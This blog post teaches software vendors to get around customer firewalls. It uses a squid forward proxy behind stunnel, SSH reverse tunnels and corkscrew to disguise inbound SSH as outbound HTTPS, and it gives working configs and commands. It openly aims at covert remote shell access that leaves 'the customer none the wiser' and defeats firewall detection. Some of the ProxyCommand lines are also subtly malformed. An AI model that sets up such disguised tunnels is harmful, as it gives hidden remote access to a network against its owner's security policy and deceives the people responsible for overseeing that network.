This post introduces some tricks for jailbreaking hosts behind “secure” enterprise firewalls in order to enable arbitrary inbound and outbound requests over any protocol. You’ll probably find the tricks outlined in the post useful if you need to deploy software in a hostile networking environment.
The motivation for these tricks is that you might be a vendor that sells software that runs in a customer’s datacenter (a.k.a. on-premises software), so your software has to run inside of a restricted network environment. You (the vendor) can ask the customer to open their firewall for your software to communicate with the outside world (e.g. your own datacenter or third party services), but customers will usually be reluctant to open their firewall more than necessary.
For example, you might want to ssh
into your host so
that you can service, maintain, or upgrade the host, but if you ask the
customer to open their firewall to let you ssh
in they’ll
usually push back on or outright reject the request. Moreover, this
isn’t one of those situations where you can just ask for forgiveness
instead of permission because you can’t begin to do anything without
explicitly requesting some sort of firewall change on their
part.
So I’m about to teach you a bunch of tricks for efficiently tunneling
whatever you want over seemingly innocuous openings in a customer’s
firewall. These tricks will culminate with the most cursed trick of all,
which is tunneling inbound SSH connections inside of
outbound HTTPS requests. This will grant you full
command-line access to your on-premises hosts using the most benign
firewall permission that a customer can grant. Moreover, this post is
accompanied by a repository named
holepunch
containing NixOS modules automating this ultimate
trick which you can either use directly or consult as a working
proof-of-concept for how the trick works.
Overview
Most of the tricks outlined in this post assume that you control the hosts on both ends of the network request. In other words, we’re going to assume that there is some external host in your datacenter and some internal host in the customer’s datacenter and you control the software running on both hosts.
There are four tricks in our arsenal that we’re going to use to jailbreak internal hosts behind a restrictive customer firewall:
- forward
proxies (e.g.
squid
) - TLS-terminating
reverse proxies (e.g.
nginx
orstunnel
) - reverse
tunnels (e.g.
ssh -R
) corkscrew
Once you master these four tools you will typically be able to do basically anything you want using the slimmest of firewall permissions.
You might also want to read another post of mine: Forward and reverse proxies explained. It’s not required reading for this post, but you might find it helpful or interesting if you like this post.
Proxies
We’re going to start with proxies since that’s the easiest thing to explain which requires no other conceptual dependencies.
A proxy is a host that can connect to other hosts on a client’s behalf (instead of the client making a direct connection to those other hosts). We will call these other hosts “upstream hosts”.
One of the most common tricks when jailbreaking an internal host (in the customer’s datacenter) is to create an external host (in your datacenter) that is a proxy. This is really effective because the customer has no control over traffic between the proxy and upstream hosts. The customer’s firewall can only see, manage, and intercept traffic between the internal host and the proxy, but everything else is invisible to them.
There are two types of proxies, though: forward proxies and reverse proxies. Both types of proxies are going to come in handy for jailbreaking our internal host.
Forward proxy
A forward proxy is a proxy that lets the client decide which upstream host to connect to. In our case, the “client” is the internal host that resides in the customer datacenter that is trying to bypass the firewall.
Forward proxies come in handy when the customer restricts which hosts
that you’re allowed to connect to. For example, suppose that your
external host’s address is external.example.com
and your
internal hosts’s address is internal.example.com
. Your
customer might have a firewall rule that prevents
internal.example.com
from connecting to any host other than
external.example.com
. The intention here is to prevent your
machine from connecting to other (potentially malicious) machines.
However, this firewall rule is quite easy for a vendor to subvert.
All you have to do is host a forward proxy at
external.example.com
and then any time
internal.example.com
wants to connect to any other domain
(e.g. google.com
) it can just route the request through the
forward proxy hosted at external.example.com
. For example,
squid
is one example of a forward proxy that you can use
for this purpose, and you could configure it like this:
acl internal src ${SUBNET OF YOUR INTERNAL SERVER(S)}
http_access allow internal
http_access deny all
… and then squid
will let any program on
internal.example.com
connect to any host reachable from
external.example.com
so long as the program configured
http://external.example.com:3128
as the forward proxy. For
example, you’d be able to run this command on
internal.example.com
:
$ curl --proxy http://external.example.com:3128 https://google.com
… and the request would succeed despite the firewall because from the customer’s point of view they can’t tell that you’re using a forward proxy. Or can they?
Reverse proxy
Well, actually the customer can tell that you’re doing
something suspicious. The connection to squid
isn’t
encrypted (note that the scheme for our forward proxy URI is
http
and not https
), and most modern firewalls
will be smart enough to monitor unencrypted traffic and notice that
you’re trying to evade the firewall by using a forward proxy (and they
will typically block your connection if you try this). Oops!
Fortunately, there’s a very easy way to evade this: encrypt the traffic to the proxy! There are quite a few ways to do this, but the most common approach is to put a “TLS-terminating reverse proxy” in front of any service that needs to be encrypted.
So what’s a “reverse proxy”? A reverse proxy is a
proxy where the proxy decides which upstream host to connect to (instead
of the client deciding). A TLS-terminating reverse
proxy is one whose sole purpose is to provide an encrypted endpoint that
clients can connect to and then it forwards unencrypted traffic to some
(fixed) upstream endpoint (e.g. squid
running on
external.example.com:3128
in this example).
There are quite a few services created for doing this sort of thing, but the three I’ve personally used the most throughout my career are:
nginx
haproxy
stunnel
For this particular case, I actually will be using
stunnel
to keep things as simple as possible
(nginx
and haproxy
require a bit more
configuration to get working for this).
You would run stunnel
on
external.example.com
with a configuration that would look
something like this:
[default]
accept = 443
connect = localhost:3128
cert = /path/to/your-certificate.pem
… and now connections to https://external.example.com
are encrypted and handled by stunnel
, which will decrypt
the traffic and route those requests to squid
running on
port 3128
of the same machine.
In order for this to work you’re going to need a valid certificate
for external.example.com
, which you can obtain for free
using Let’s Encrypt. Then you
staple the certificate public key and private key to generate the final
PEM file that you reference in the above stunnel
configuration.
So if you’ve gotten this far your server can now access any publicly
reachable address despite the customer’s firewall restriction. Moreover,
the customer can no longer detect that anything is amiss because all of
your connections to the outside world will appear to the customer’s
firewall as encrypted HTTPS connections to
external.example.com:443
, which is an extremely innocuous
type of of connection.
Reverse tunnel
We’re only getting started, though! By this point we can make whatever outbound connections we want, but WHAT ABOUT INBOUND CONNECTIONS?
As it turns out, there is a trick known as a reverse tunnel which lets you tunnel inbound connections over outbound connections. Most reverse tunnels exploit two properties of TCP connections:
- TCP connections may be long-lived (sometimes very long-lived)
- TCP connections must necessarily support network traffic in both directions
Now, in the common case a lot of TCP connections are short-lived. For example, when you open https://google.com in your browser that is an HTTPS request which is layered on top of a TCP connection. The HTTP request message is data sent in one direction over the TCP connection and the HTTP response message is data sent in the other direction over the TCP connection and then the TCP connection is closed.
But TCP is much more powerful than that and reverse tunnels exploit that latent protocol power. To illustrate how that works I’ll use the most widely known type of reverse tunnel: the SSH reverse tunnel.
You typically create an SSH reverse tunnel by running a command like
this from the internal machine
(e.g. internal.example.com
):
$ ssh -R "${EXTERNAL_PORT}:localhost:${INTERNAL_PORT}" -N external.example.com
In an SSH reverse tunnel, the internal machine
(e.g. internal.example.com
) initiates an outbound TCP
request to the SSH daemon (sshd
) listening on the external
machine (e.g. external.example.com
). When sshd
receives this TCP request it keeps the TCP connection alive and
then listens for inbound requests on EXTERNAL_PORT
of the
external machine. sshd
forward all requests received on
that port through the still-alive TCP connection back to the
INTERNAL_PORT
on the internal machine. This works fine
because TCP connections permit arbitrary data flow both ways and the
protocol does not care if the usual request/response flow is suddenly
reversed.
In fact, an SSH reverse tunnel doesn’t just let you make inbound connections to the internal machine; it lets you make inbound connections to any machine reachable from the internal machine (e.g. other machines inside the customer’s datacenter). However, those kinds of connections to other internal hosts can be noticed and blocked by the customer’s firewall.
From the point of view of the customer’s firewall, our internal
machine has just made a single long-lived outbound
connection to external.example.com
and they cannot easily
tell that the real requests are coming in the other direction
(inbound) because those requests are being tunneled
inside of the outbound request.
However, this is not foolproof, for two reasons:
A customer’s firewall can notice (and ban) a long-lived connection
I believe it is possible to disguise a long-lived connection as a series of shorter-lived connections, but I’ve never personally done that before so I’m not equipped to explain how to do that.
A customer’s firewall will notice that you’re making an SSH connection of some sort
Even when the SSH connection is encrypted it is still possible for a firewall to detect that the SSH protocol is being used. A lot of firewalls will be configured to ban SSH traffic by default unless explicitly approved.
However, there is a great solution to that latter problem, which is …
corkscrew
corkscrew
is an extremely simple tool that wraps an SSH
connection in an HTTP connection. This lets us disguise SSH traffic as
HTTP traffic (which we can then further disguise as HTTPS traffic by
encrypting the connection using stunnel
).
Normally, the only thing we’d need to do is to extend our
ssh -R
command to add this option:
ssh -R -o 'ProxyCommand /path/to/corkscrew external.example.com 443 %h %p` …
… but this doesn’t work because corkscrew
doesn’t
support HTTPS connections (it’s an extremely simple program written in
just a couple hundred lines of C code). So in order to work around that
we’re going to use stunnel
again, but this time we’re going
to run stunnel
in “client mode” on
internal.example.com
so that it can handle the HTTPS logic
on behalf of corkscrew
.
[default]
client = yes
accept = 3128
connect = external.example.com:443
… and then the correct ssh
command is:
$ ssh -R -o 'ProxyCommand /path/to/corkscrew localhost 3128 %h %p` …
… and now you are able to disguise an outbound SSH request as an outbound HTTPS request.
MOREOVER, you can use that disguised outbound SSH
request to create an SSH reverse tunnel which you can use to forward
inbound traffic from external.example.com
to any
INTERNAL_PORT
on internal.example.com
. Can you
guess what INTERNAL_PORT
we’re going to pick?
That’s right, we’re going to forward inbound traffic to port 22:
sshd
. Also, we’re going to arbitrarily set
EXTERNAL_PORT
to 17705:
$ ssh -R 17705:localhost:22 -N external.example.com
Now, (separately from the above command) we can ssh
into
our internal server via our external server like this:
$ ssh -p 17705 external.example.com
… and we have complete command-line access to our internal server and the customer is none the wiser.
From the customer’s perspective, we just ask them for an
innocent-seeming firewall rule permitting outbound HTTPS traffic from
internal.example.com
to external.example.com
.
That is the most innocuous firewall change we can possibly request
(short of not opening the firewall at all).
Conclusion
I don’t think all firewall rules are ineffective or bad, but if the
same person or organization controls both ends of a connection then
typically anything short of completely disabling internet access can be
jailbroken in some way with off-the-shelf open source tools. It does
require some work, but as you can see with the associated
holepunch
repository even moderately sophisticated
firewall escape hatches can be neatly packaged for others to reuse.